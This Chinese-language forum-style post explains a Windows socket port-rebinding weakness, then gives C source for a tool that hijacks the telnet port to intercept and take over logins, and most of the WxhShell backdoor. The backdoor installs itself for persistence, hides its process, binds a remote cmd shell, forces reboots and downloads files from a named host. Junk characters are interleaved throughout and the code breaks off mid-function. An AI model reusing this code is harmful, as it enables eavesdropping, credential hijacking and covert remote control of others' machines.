在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aEV|>K=6Y' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tP/GDC; cob9hj#&7 saddr.sin_family = AF_INET;
2M!+gk=+ I67k M{V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zDKLo 3: )^V5*#69D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
E5v|SFD j&o/X7I= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=<Zwv\U #mi0x06 这意味着什么?意味着可以进行如下的攻击:
QYFN:XZ 7H/!rx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rHA/
v3iDh8.__ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(UbR%A|v; Q-H=wJ4R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
./aZV Q;{D8 #! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9RbGa
Y& : 8p2Jxm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
dn:|m^<) hVTyv" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\=
)[ (\[jf39e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3D[:Rf[ qP%Smfp6 #include
9;m#>a@Y #include
)x9nED{ #include
n0
fF,?gm #include
=6L:Ix DWORD WINAPI ClientThread(LPVOID lpParam);
|hZ|+7 int main()
;[;S_|vZ=) {
Q_UCF'f;} WORD wVersionRequested;
x);?jxd DWORD ret;
/cn/[O9 WSADATA wsaData;
b[QCM/ BOOL val;
3P=Eb!qtdD SOCKADDR_IN saddr;
ba8-XA_~U SOCKADDR_IN scaddr;
~7eUt^SD; int err;
qHcY
2LV SOCKET s;
q?gQ SOCKET sc;
*NX*/(Q int caddsize;
6+{ nw}e8 HANDLE mt;
~CjmYP'o DWORD tid;
O(:u( U7e wVersionRequested = MAKEWORD( 2, 2 );
tZ*f~yW err = WSAStartup( wVersionRequested, &wsaData );
JXRmu~W~l if ( err != 0 ) {
:IOn`mRYu printf("error!WSAStartup failed!\n");
Nys'4kx7 return -1;
&T|UAM. }
^$Me#ls! saddr.sin_family = AF_INET;
$bM#\2' P+_\}u; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L?/M2zc9Y bb0{-T)1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?U2g8D nFY saddr.sin_port = htons(23);
"' i [~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%WXVfkD {
[1[[$ Dr printf("error!socket failed!\n");
<_FF~lj return -1;
e[|p0 ,Q }
s$3eJ| val = TRUE;
AyI}LQm]u //SO_REUSEADDR选项就是可以实现端口重绑定的
S^sW.(I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(p#;6Xhf {
Td=]tVM printf("error!setsockopt failed!\n");
t'_,9 return -1;
?\/dfK:! }
[{d[f| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-
KoA[UJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O#89M% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rg]A_(3Bb -`ys pE0? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1 _:1/~R1 {
rym\5
`) ret=GetLastError();
L_CEY printf("error!bind failed!\n");
XxrO:$ return -1;
NVM2\fs }
|M{,}.*CU listen(s,2);
ysw6hVb while(1)
'yAoZ P\| {
i}&mz~ caddsize = sizeof(scaddr);
P.2.Ge| //接受连接请求
]jT[dX|? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L-oPb) if(sc!=INVALID_SOCKET)
|2c!t$O@v {
CI3_lWax% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4OESsN$O if(mt==NULL)
3dzqVaV {
/`]|_>' printf("Thread Creat Failed!\n");
&@.=)4Y break;
8Jly!=Qm5 }
JKu6+V jO }
9zGKQ |X) CloseHandle(mt);
)]e d;V }
QIxJFr;> closesocket(s);
2ShlYW@~ WSACleanup();
1k70>RQ&69 return 0;
$>*/']> }
N*4IxY'vX/ DWORD WINAPI ClientThread(LPVOID lpParam)
uq1(yyWp( {
G^eFS; SOCKET ss = (SOCKET)lpParam;
ThiPT|5u SOCKET sc;
9p0HFri[ unsigned char buf[4096];
bD^ob.c.A SOCKADDR_IN saddr;
K=^_Ndz long num;
i?s&\3--Y DWORD val;
07WIa@Q DWORD ret;
Ia>th\_& //如果是隐藏端口应用的话,可以在此处加一些判断
9!/1F ! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
eNk!pI7g saddr.sin_family = AF_INET;
`[HoxCV3o saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]NhWhJ: saddr.sin_port = htons(23);
n;T if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V%KW[v<G< {
!gH.st printf("error!socket failed!\n");
wQ/@+$> return -1;
/)OO)B-r }
\iTPJcb5 val = 100;
p]IhQnj2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'rx,f
{
m_O=X8uj"D ret = GetLastError();
'MM~~: return -1;
{m*J95[
}
'H-YFB$l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p 7E{es|J {
n[p9$W` ret = GetLastError();
VDI S`E return -1;
>IydXmTy }
W&q5cz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^xu)~:} i {
x6cl(J} printf("error!socket connect failed!\n");
_(A+_| closesocket(sc);
B
qiq closesocket(ss);
]KPg=@Q/ return -1;
KVe'2Q< }
cLk+( dn while(1)
5^qp& {
xg%]\# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<:}AC{I //如果是嗅探内容的话,可以再此处进行内容分析和记录
IHX#BY> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f#-T%jqnK num = recv(ss,buf,4096,0);
we).8%)' if(num>0)
(HD>vNha1 send(sc,buf,num,0);
K{|dt W& else if(num==0)
`Q_ R/9~ break;
f$*9J num = recv(sc,buf,4096,0);
o2UJ*4 if(num>0)
M/`z;a=EP send(ss,buf,num,0);
gJfL$S'w else if(num==0)
,OFr]74\ break;
Vy*Z"k }
K OHH74}_ closesocket(ss);
dM;WG;8e closesocket(sc);
1+ARV&bc return 0 ;
42[:s: }
>qGR^yvb cO?"
\$Qm2XKrK ==========================================================
g.VIe >" 8j{s 下边附上一个代码,,WXhSHELL
}K]VlFR i'LTKj ==========================================================
*bC^X' }^bL' #include "stdafx.h"
dM$G)9N)K /XK`v=~(l{ #include <stdio.h>
w!k4&Rb3 #include <string.h>
J0z0%p #include <windows.h>
f9bz:_;W_ #include <winsock2.h>
S#z8H+' #include <winsvc.h>
2gI_*fG1 #include <urlmon.h>
C+IE<=%F cr;`0 #pragma comment (lib, "Ws2_32.lib")
:iC\#i]6 #pragma comment (lib, "urlmon.lib")
VNot4 62L 1:Gd{z #define MAX_USER 100 // 最大客户端连接数
5"]2@@b4 #define BUF_SOCK 200 // sock buffer
c|a|z}(/J #define KEY_BUFF 255 // 输入 buffer
SJr: 90v18k #define REBOOT 0 // 重启
PP`n>v=n #define SHUTDOWN 1 // 关机
j %0_!*#3 7VBw@Rh #define DEF_PORT 5000 // 监听端口
7anpz% 51'SA
B09 #define REG_LEN 16 // 注册表键长度
'a[|}nJ3 #define SVC_LEN 80 // NT服务名长度
c324@o^V \r9%;?f // 从dll定义API
2^lT!X@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0'}?3/u- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
==r|]~x
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NX", e= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!\uk b 6-YR'ikU // wxhshell配置信息
Wm&f+{LO+K struct WSCFG {
+ # >%bq x int ws_port; // 监听端口
AWNd(B2o char ws_passstr[REG_LEN]; // 口令
. +?lID int ws_autoins; // 安装标记, 1=yes 0=no
;MI<J>s char ws_regname[REG_LEN]; // 注册表键名
PTZ1oD char ws_svcname[REG_LEN]; // 服务名
X'4
Yofs char ws_svcdisp[SVC_LEN]; // 服务显示名
]V("^.~$+C char ws_svcdesc[SVC_LEN]; // 服务描述信息
RN|..zml char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@zq{#7%z int ws_downexe; // 下载执行标记, 1=yes 0=no
8{<cqYCR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1uQf} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K0@7/*% Br!&Y9 };
X*q
C:]e R/YL1s // default Wxhshell configuration
3?(p; struct WSCFG wscfg={DEF_PORT,
7y7y<`)I5 "xuhuanlingzhe",
:_zKUv] 1,
%lmRe(M "Wxhshell",
wpI4P: "Wxhshell",
Zi)8KO[/0 "WxhShell Service",
T480w6-@ "Wrsky Windows CmdShell Service",
O+J;Hp;\_ "Please Input Your Password: ",
0GVok$r@ 1,
v[
'5X "
http://www.wrsky.com/wxhshell.exe",
JwczE9~o "Wxhshell.exe"
?@(H.
D6'v };
uK5Px! %Q~Lk]B?t // 消息定义模块
::` wx@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0E[Se|! char *msg_ws_prompt="\n\r? for help\n\r#>";
v a;wQ~& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qZ}XjL char *msg_ws_ext="\n\rExit.";
N|LVLsK char *msg_ws_end="\n\rQuit.";
".ZiR7Z:$Y char *msg_ws_boot="\n\rReboot...";
bm.H0rHR4 char *msg_ws_poff="\n\rShutdown...";
'b,D;'v char *msg_ws_down="\n\rSave to ";
]f~YeOB@ x"80c(i char *msg_ws_err="\n\rErr!";
:i$Z char *msg_ws_ok="\n\rOK!";
Fgk/Ph3r C%>7mz-v5 char ExeFile[MAX_PATH];
M(jH"u&f int nUser = 0;
PBv43uIL HANDLE handles[MAX_USER];
w (-n1oSo int OsIsNt;
$)~]4n= L]}|{<3\ SERVICE_STATUS serviceStatus;
{jI/9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
8<
-Vkr K gX)fj // 函数声明
e8.bH# int Install(void);
[_-K int Uninstall(void);
MzG.Qh'z int DownloadFile(char *sURL, SOCKET wsh);
@=c='V] int Boot(int flag);
Nb1lawC void HideProc(void);
')V5hKb^ int GetOsVer(void);
-y(V- int Wxhshell(SOCKET wsl);
u<zDZ{jt) void TalkWithClient(void *cs);
u{,^#I} int CmdShell(SOCKET sock);
0%/(p?]M int StartFromService(void);
0iHI"9z int StartWxhshell(LPSTR lpCmdLine);
5ntP{p%> ja2]VbB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&i!] VOID WINAPI NTServiceHandler( DWORD fdwControl );
)frtvN7 A9gl|II // 数据结构和表定义
TW0^wSm SERVICE_TABLE_ENTRY DispatchTable[] =
KK?~i[aL {
9Ba<'wk/>" {wscfg.ws_svcname, NTServiceMain},
3R><AFMY? {NULL, NULL}
(" %yV_R };
~/%){t/uLY oH0\6:S // 自我安装
='j int Install(void)
Z5=!R$4 {
V'$
eun char svExeFile[MAX_PATH];
|&Q=9H*e HKEY key;
{cA )jW\' strcpy(svExeFile,ExeFile);
L8J/GVmj K3^2R-3:8 // 如果是win9x系统,修改注册表设为自启动
CmZ?uo+Y if(!OsIsNt) {
s>X;m.< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
10&A3C(E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m.*+0NG RegCloseKey(key);
ceCshxTU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%XeU4yg\e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.YkKIei RegCloseKey(key);
>Z%^|S9 return 0;
oSoG&4 }
K\q/JuDfc }
#a&Vx&7L }
+!(hd else {
I"1\R8
R q.7CPm+ // 如果是NT以上系统,安装为系统服务
2h!3[{M\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?H`LrL/k if (schSCManager!=0)
V1G]LM {
N\?iU8w= SC_HANDLE schService = CreateService
Y>+D\|%Q (
BR=Yte
/ schSCManager,
)".gjW8{#L wscfg.ws_svcname,
/Kvb$]F+! wscfg.ws_svcdisp,
Fk43sqU6~ SERVICE_ALL_ACCESS,
1jyWP#M# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r4s R5p]| SERVICE_AUTO_START,
8z-Td- R6 SERVICE_ERROR_NORMAL,
83a
Rq&(R svExeFile,
eD3F%wxz NULL,
A@]
n" NULL,
pLU>vQA NULL,
i/L1KiCLx NULL,
BhjXNf9[ NULL
u+9Mc u" );
|]Xw1.S.L if (schService!=0)
dXj.e4,m {
wK_}`6R/ CloseServiceHandle(schService);
|&JL6hN CloseServiceHandle(schSCManager);
L0Cf@~k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/iK )tl|X strcat(svExeFile,wscfg.ws_svcname);
ZttL*KK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_W+TZa@_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|F<aw?% RegCloseKey(key);
ec=C7M
| return 0;
I2dt# }
,Y!)V }
Fi#t88+1 CloseServiceHandle(schSCManager);
7qk61YBLz }
R Mm`<:H_ }
T^'i+>F!w |z~?"F6 Y< return 1;
:97`IV% }
x>@UqUJV VtVnht1 // 自我卸载
&~&i > int Uninstall(void)
}oG&zw {
:\[F= HKEY key;
0ePZxOSjD ^o 5q- ;a if(!OsIsNt) {
L,<.rr$: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S92Dvw? RegDeleteValue(key,wscfg.ws_regname);
}&j&T9oX RegCloseKey(key);
zehF/HBzE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m^7pbJ\| RegDeleteValue(key,wscfg.ws_regname);
7 mN?;X33 RegCloseKey(key);
)mEF_ & return 0;
Rq*m x<HDX }
qfu;X-$4 }
,rd+ dN }
'e*C^(6 else {
5~kf:U%~ 0kkiS3T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_D:/?=y;e if (schSCManager!=0)
5v3B8 @CsA {
!|!V}O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$` if (schService!=0)
>C i=H(8vN {
mF1oY[xa_ if(DeleteService(schService)!=0) {
&ke4":7X CloseServiceHandle(schService);
";~#epPkX CloseServiceHandle(schSCManager);
/[q@=X& return 0;
,[~EThcq }
*<@ CloseServiceHandle(schService);
li{_biey} }
4MIVlg9 CloseServiceHandle(schSCManager);
x83XJFPWL }
(ZnA#% }
0nS6<: jK{MU) D+ return 1;
!xvPG }
>Cf`F{X'U Jx}5`{\ // 从指定url下载文件
Xy{b(b;9 int DownloadFile(char *sURL, SOCKET wsh)
'>6-ie^0 {
L.R HRESULT hr;
u/zC$L3B( char seps[]= "/";
JB-j@ char *token;
:$WRV- char *file;
N_>s2 char myURL[MAX_PATH];
Q>r Q/V char myFILE[MAX_PATH];
LOA
90.D O []+v strcpy(myURL,sURL);
qgDBu\ token=strtok(myURL,seps);
1pn167IQL while(token!=NULL)
.D) }MyKnu {
1>2397 file=token;
`DwlS!0 token=strtok(NULL,seps);
iTX.?* }
&5a>5ZG} 3w@)/ujn GetCurrentDirectory(MAX_PATH,myFILE);
S HvML strcat(myFILE, "\\");
zx!1jS strcat(myFILE, file);
i{8=; send(wsh,myFILE,strlen(myFILE),0);
[bcqaT send(wsh,"...",3,0);
;?&;I! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'W#<8eJo if(hr==S_OK)
k\[2o return 0;
56)B/0= else
iZ:-V8{ return 1;
i et|\4A +LyhF2 }
B|Omz:c jfWIPN // 系统电源模块
pZR^ HOq int Boot(int flag)
}'{(rU {
|QY+vO7fxj HANDLE hToken;
&M2x` TOKEN_PRIVILEGES tkp;
RBb@@k[v saZ;ixV if(OsIsNt) {
Y7p#K<y]9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
JWBWa- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D|S)/o6 tkp.PrivilegeCount = 1;
6R<%.-qr tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A+p}oY ' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P8EGd}2{8 if(flag==REBOOT) {
mZ5UaSG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7#&sG
return 0;
4qMHVPJv\ }
V>%%2"&C else {
%9Ue`8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q^Z\V? return 0;
M|Se|*w }
"~;jFB8 }
r[lHYO else {
GwvxX&P if(flag==REBOOT) {
J
h"]iN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<HD/&4$[ return 0;
K{iYp4pU }
<(iOzn else {
v6rw. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<s:Xj return 0;
HP8pEo0Y }
O+yR+aXr'8 }
C{Zv.+F
2O
return 1;
itvwmI,m\ }
rfZA21y{? F7hQNQu: // win9x进程隐藏模块
0uvL,hF void HideProc(void)
sPw(+m*C {
51&T`i f8j^a?d| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Glwpu-@X if ( hKernel != NULL )
{Xp.}c {
lL^7x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cnj_tC=zt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Gnw>%f1@u FreeLibrary(hKernel);
nGf@zJDb }
E|TzrH 3_-# return;
O~S}u }
'=2t(@aC zknD(%a // 获取操作系统版本
Grqs*V &|g int GetOsVer(void)
w"e2}iE7 {
+!<`$+W OSVERSIONINFO winfo;
W)_B(;$] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`Ctj]t GetVersionEx(&winfo);
HlO+^(eX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ju\"l8[f return 1;
NX;&V7 else
'71btd1 return 0;
J0K"WmW }
H0HYb\TX ? `3OGCy // 客户端句柄模块
Bb o* int Wxhshell(SOCKET wsl)
y6s$.93 {
,>^~u SOCKET wsh;
]]7T5'. struct sockaddr_in client;
HfF$>Z'kM DWORD myID;
!d^`YEfE ~!;3W!@(E while(nUser<MAX_USER)
S6QG:|#P {
BO_^3Me* int nSize=sizeof(client);
rQqtejcfx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7[)(;- if(wsh==INVALID_SOCKET) return 1;
?/wloLS47 f[RnL#*xJU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<ZiO[dEV if(handles[nUser]==0)
h(L5MZs closesocket(wsh);
S]N4o'K}q else
"f3>20} nUser++;
H1]\B: }
@^ e@.) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
87Kx7CKF" m"DMa return 0;
wnX6XyUH }
_e'mG'P( Nm~#$orI| // 关闭 socket
9Dl \S F[ void CloseIt(SOCKET wsh)
e=_hfOUC {
%9lxE[/ closesocket(wsh);
cMg/T.O nUser--;
q
mB@kbt ExitThread(0);
:wZZ 1qa }
by<2hLB9Q |2# Ro* // 客户端请求句柄
u;!Rv E8N void TalkWithClient(void *cs)
`+uXL9mo {
J3]m*i5A 4Y!v$r SOCKET wsh=(SOCKET)cs;
;w>B}v;RE char pwd[SVC_LEN];
<wC1+/] char cmd[KEY_BUFF];
yiOF& char chr[1];
^kq! /c3r int i,j;
R4/@dA0
Ir'f((8: while (nUser < MAX_USER) {
FuKNH~MevQ *l//r
V?l if(wscfg.ws_passstr) {
Go|65Z\`7M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#5D+XB T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DkIFvsLK //ZeroMemory(pwd,KEY_BUFF);
9E^piLA i=0;
f"Iyo:Wt while(i<SVC_LEN) {
2?j1~ ]DvZ ,3j7Y5v // 设置超时
%?fzT+-=% fd_set FdRead;
H4,yuV struct timeval TimeOut;
)sHPIxHI FD_ZERO(&FdRead);
C#Jj;Gd FD_SET(wsh,&FdRead);
%vXQ Sz TimeOut.tv_sec=8;
K="+2]{I TimeOut.tv_usec=0;
NS q=_8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U ~m.I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
zMKL: Um" (a?Ip)`I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oB9m\o7$ pwd
=chr[0]; 0=B5
=qyw
if(chr[0]==0xd || chr[0]==0xa) { r.^&%D
pwd=0; A3_9MO
break; e?>suIB
} qZh~Ay6I
i++; 67x^{u7
} jH1~Ve+q9
:X
f3wP=
// 如果是非法用户,关闭 socket R.N*G]K5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OxZ:5ps
} &UR/Txnu
/`> P|J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3:Wr)>l}#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K}BX6dA
w C"%b#(}
while(1) { S41>VbtEp
CCO g1X_
ZeroMemory(cmd,KEY_BUFF); SO/]d70HG
pZxL?N!
// 自动支持客户端 telnet标准 ; \+0H$
j=0; *q{UipZbx
while(j<KEY_BUFF) { $Stu-l1e a
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Qrz|$_rv
cmd[j]=chr[0]; OB22P%
if(chr[0]==0xa || chr[0]==0xd) { ?sYjFiE
cmd[j]=0; &v,p_'k
break; U@nwSfp:G
} 7g9 ^Jn
j++; E6M: ^p*<
} T"U t).
8BDL{?Mu
// 下载文件 Umg81!
if(strstr(cmd,"http://")) { WKsx|a]U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Phu|
hx<
if(DownloadFile(cmd,wsh)) n bk(FD6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[Z>(d$8
else `x)bw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |m- `,
we
} g/p
}r.
else { VWt'Kx"
i:ZA{hA`c
switch(cmd[0]) { Ah{pidUx
;0}2@Q2@ZK
// 帮助 mC92J@m/L!
case '?': { PBtU4)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E e>j7k.G.
break; uW=NH;u
} "~C#DZwt{
// 安装 D5u"4\g<&
case 'i': { #Ca's'j&f
if(Install()) Q%Q?q)x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <t% A)L%
else VY@hhr1s~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g/p9"eBpq
break; 9'g{<(R]
} 2j1v.%
// 卸载 3ohcHQ/a
case 'r': { ~79Qg{+]N
if(Uninstall()) Tj5@OcA$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5_Y\@
else WG} CPkj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .+}o'rU
break; [nIG_j>D-f
} Wy*7jB
// 显示 wxhshell 所在路径 kTWg31]~
case 'p': { 9t.yP;j\Y
char svExeFile[MAX_PATH]; 5KE%@,k k
strcpy(svExeFile,"\n\r"); M l?)Sc"\7
strcat(svExeFile,ExeFile); k^c=y<I
send(wsh,svExeFile,strlen(svExeFile),0); es+_]:7B9
break; B@inH]wq
} wS*CcIwj
// 重启 1Z8Oh_DC
case 'b': { O'|P|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ks2%F&\cE
if(Boot(REBOOT)) %C0O?q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pm@Z[g
else { I A#*T`
closesocket(wsh); e uHu}
ExitThread(0); O>M*mTM
} R(N(@KC
break; % W',c u
} R+VLoz*J6
// 关机 \Rqh|T<D
case 'd': { r5fkt>HZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g*?+~0"`Y
if(Boot(SHUTDOWN)) ugCS &
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?3l
else { Ny,A#-?
closesocket(wsh); MI'l4<>u
ExitThread(0); W<|K
} Bi:wP/>v
break; oEoJa:h
} }9udo,RWu
// 获取shell w<>6>w@GZ
case 's': { wU)5Evp[
CmdShell(wsh); S{i@=:
closesocket(wsh); bSR+yr'?
ExitThread(0); _JJKbi
break; -s%-*K+,W
} iSz@E&[X
// 退出 m2q;^o:J
case 'x': { o / g+Z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Xk%3\{P
CloseIt(wsh); eOPCYyN
break; k.xv+^b9Q
} @*O{*2
// 离开 R5&$h$[/
case 'q': { maUHjI
5A-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }42qMOi#w1
closesocket(wsh); vs])%l%t
WSACleanup(); <Z:8~:@
exit(1); pebx#}]p-
break; -C-OG}XjI
} @W\4UX3dK
} ddq 1NW
} 1;:t~Y
@23RjoK
// 提示信息 gLSG:7m@
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d?&!y]RS#
} =#Cf5s6qt
} h3]@M$Y[
fZV8o$V
return; 7|M $W(P
} Z:lB:U'o
AK
s39U'
// shell模块句柄 !E{GcK
int CmdShell(SOCKET sock) |Iok(0V
{ {I9N6BQ&
STARTUPINFO si; 7hF,gl5
ZeroMemory(&si,sizeof(si)); EOPS? @
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W^d4/]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c."bTq4tJ
PROCESS_INFORMATION ProcessInfo; r]JC~{
char cmdline[]="cmd"; Pm#x?1rAj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~r>EF!U`h
return 0; tk)>CK11
} #ON#4WD?
3aE[F f[
// 自身启动模式 ^M(`/1 :
int StartFromService(void) ]Z$TzT&@%
{ (O_t5<A*X
typedef struct 2Z;`#{
{ 0qL
V(L
DWORD ExitStatus; XAU_SPAjiw
DWORD PebBaseAddress; ua$k^m7m5
DWORD AffinityMask; ;Up'~BP(
DWORD BasePriority; 3:~l2KIP4
ULONG UniqueProcessId; y@kcXlY
ULONG InheritedFromUniqueProcessId; 3 $$5Mk(&